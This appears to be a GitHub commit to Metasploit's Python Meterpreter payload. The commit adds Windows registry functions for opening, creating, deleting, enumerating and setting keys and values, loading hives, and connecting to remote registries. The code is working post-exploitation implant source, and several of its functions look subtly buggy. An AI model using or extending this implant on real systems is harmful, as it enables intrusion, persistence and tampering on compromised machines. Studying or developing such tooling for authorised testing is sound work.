Skip to content

Commit 89508af

Browse files
zeroSteinerTod Beardsley
authored andcommitted
Add Windows registry manipulation support.
1 parent e426177 commit 89508af

File tree

2 files changed

+192
-8
lines changed

2 files changed

+192
-8
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 185 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,12 @@
1818
except ImportError:
1919
has_pwd = False
2020

21+
try:
22+
import _winreg as winreg
23+
has_winreg = True
24+
except ImportError:
25+
has_winreg = False
26+
2127
class PROCESSENTRY32(ctypes.Structure):
2228
_fields_ = [("dwSize", ctypes.c_uint32),
2329
("cntUsage", ctypes.c_uint32),
@@ -142,14 +148,15 @@ class SID_AND_ATTRIBUTES(ctypes.Structure):
142148
TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
143149

144150
# Registry
145-
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
146-
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
147-
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
148-
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
149-
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
150-
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
151-
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
152-
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
151+
TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
152+
TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
153+
TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
154+
TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
155+
TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
156+
TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
157+
TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
158+
TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
159+
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
153160

154161
# Config
155162
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
@@ -634,3 +641,173 @@ def stdapi_net_socket_tcp_shutdown(request, response):
634641
channel = meterpreter.channels[channel_id]
635642
channel.close()
636643
return ERROR_SUCCESS, response
644+
645+
@meterpreter.register_function_windll
646+
def stdapi_registry_close_key(request, response):
647+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
648+
result = ctypes.windll.advapi32.RegCloseKey(hkey)
649+
return ERROR_SUCCESS, response
650+
651+
@meterpreter.register_function_windll
652+
def stdapi_registry_create_key(request, response):
653+
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
654+
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
655+
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
656+
res_key = ctypes.c_void_p()
657+
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
658+
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
659+
return ERROR_SUCCESS, response
660+
return ERROR_FAILURE, response
661+
662+
@meterpreter.register_function_windll
663+
def stdapi_registry_delete_key(request, response):
664+
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
665+
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
666+
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
667+
if (flags & DELETE_KEY_FLAG_RECURSIVE):
668+
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
669+
else:
670+
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
671+
return result, response
672+
673+
@meterpreter.register_function_windll
674+
def stdapi_registry_delete_value(request, response):
675+
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
676+
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
677+
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
678+
return result, response
679+
680+
@meterpreter.register_function_windll
681+
def stdapi_registry_enum_key(request, response):
682+
ERROR_MORE_DATA = 0xea
683+
ERROR_NO_MORE_ITEMS = 0x0103
684+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
685+
name = (ctypes.c_char * 4096)()
686+
index = 0
687+
tries = 0
688+
while True:
689+
result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
690+
if result == ERROR_MORE_DATA:
691+
if tries > 3:
692+
break
693+
name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
694+
tries += 1
695+
continue
696+
elif result == ERROR_NO_MORE_ITEMS:
697+
result = ERROR_SUCCESS
698+
break
699+
elif result != ERROR_SUCCESS:
700+
break
701+
tries = 0
702+
response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
703+
index += 1
704+
return result, response
705+
706+
@meterpreter.register_function_windll
707+
def stdapi_registry_enum_value(request, response):
708+
ERROR_MORE_DATA = 0xea
709+
ERROR_NO_MORE_ITEMS = 0x0103
710+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
711+
name = (ctypes.c_char * 4096)()
712+
name_sz = ctypes.c_uint32()
713+
index = 0
714+
tries = 0
715+
while True:
716+
name_sz.value = ctypes.sizeof(name)
717+
result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
718+
if result == ERROR_MORE_DATA:
719+
if tries > 3:
720+
break
721+
name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
722+
tries += 1
723+
continue
724+
elif result == ERROR_NO_MORE_ITEMS:
725+
result = ERROR_SUCCESS
726+
break
727+
elif result != ERROR_SUCCESS:
728+
break
729+
tries = 0
730+
response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
731+
index += 1
732+
return result, response
733+
734+
@meterpreter.register_function_windll
735+
def stdapi_registry_load_key(request, response):
736+
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
737+
sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
738+
file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
739+
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
740+
return result, response
741+
742+
@meterpreter.register_function_windll
743+
def stdapi_registry_open_key(request, response):
744+
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
745+
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
746+
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
747+
handle_id = ctypes.c_void_p()
748+
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
749+
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
750+
return ERROR_SUCCESS, response
751+
return ERROR_FAILURE, response
752+
753+
@meterpreter.register_function_windll
754+
def stdapi_registry_open_remote_key(request, response):
755+
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
756+
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
757+
result_key = ctypes.c_void_p()
758+
result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
759+
if (result == ERROR_SUCCESS):
760+
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
761+
return ERROR_SUCCESS, response
762+
return ERROR_FAILURE, response
763+
764+
@meterpreter.register_function_windll
765+
def stdapi_registry_query_class(request, response):
766+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
767+
value_data = (ctypes.c_char * 4096)()
768+
value_data_sz = ctypes.c_uint32()
769+
value_data_sz.value = ctypes.sizeof(value_data)
770+
result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
771+
if result == ERROR_SUCCESS:
772+
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
773+
return ERROR_SUCCESS, response
774+
return ERROR_FAILURE, response
775+
776+
@meterpreter.register_function_windll
777+
def stdapi_registry_query_value(request, response):
778+
REG_SZ = 1
779+
REG_DWORD = 4
780+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
781+
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
782+
value_type = ctypes.c_uint32()
783+
value_type.value = 0
784+
value_data = (ctypes.c_ubyte * 4096)()
785+
value_data_sz = ctypes.c_uint32()
786+
value_data_sz.value = ctypes.sizeof(value_data)
787+
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
788+
if result == ERROR_SUCCESS:
789+
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
790+
if value_type.value == REG_SZ:
791+
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
792+
elif value_type.value == REG_DWORD:
793+
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
794+
else:
795+
response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
796+
return ERROR_SUCCESS, response
797+
return ERROR_FAILURE, response
798+
799+
@meterpreter.register_function_windll
800+
def stdapi_registry_set_value(request, response):
801+
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
802+
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
803+
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
804+
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
805+
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
806+
return result, response
807+
808+
@meterpreter.register_function_windll
809+
def stdapi_registry_unload_key(request, response):
810+
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
811+
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
812+
result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
813+
return result, response

data/meterpreter/meterpreter.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,12 +3,15 @@
33
import sys
44
import code
55
import random
6+
import ctypes
67
import select
78
import socket
89
import struct
910
import threading
1011
import subprocess
1112

13+
has_windll = hasattr(ctypes, 'windll')
14+
1215
#
1316
# Constants
1417
#
@@ -183,6 +186,10 @@ def __init__(self, socket):
183186
def register_function(self, func):
184187
self.extension_functions[func.__name__] = func
185188

189+
def register_function_windll(self, func):
190+
if has_windll:
191+
self.register_function(func)
192+
186193
def run(self):
187194
while self.running:
188195
if len(select.select([self.socket], [], [], 0)[0]):

0 commit comments

Comments
 (0)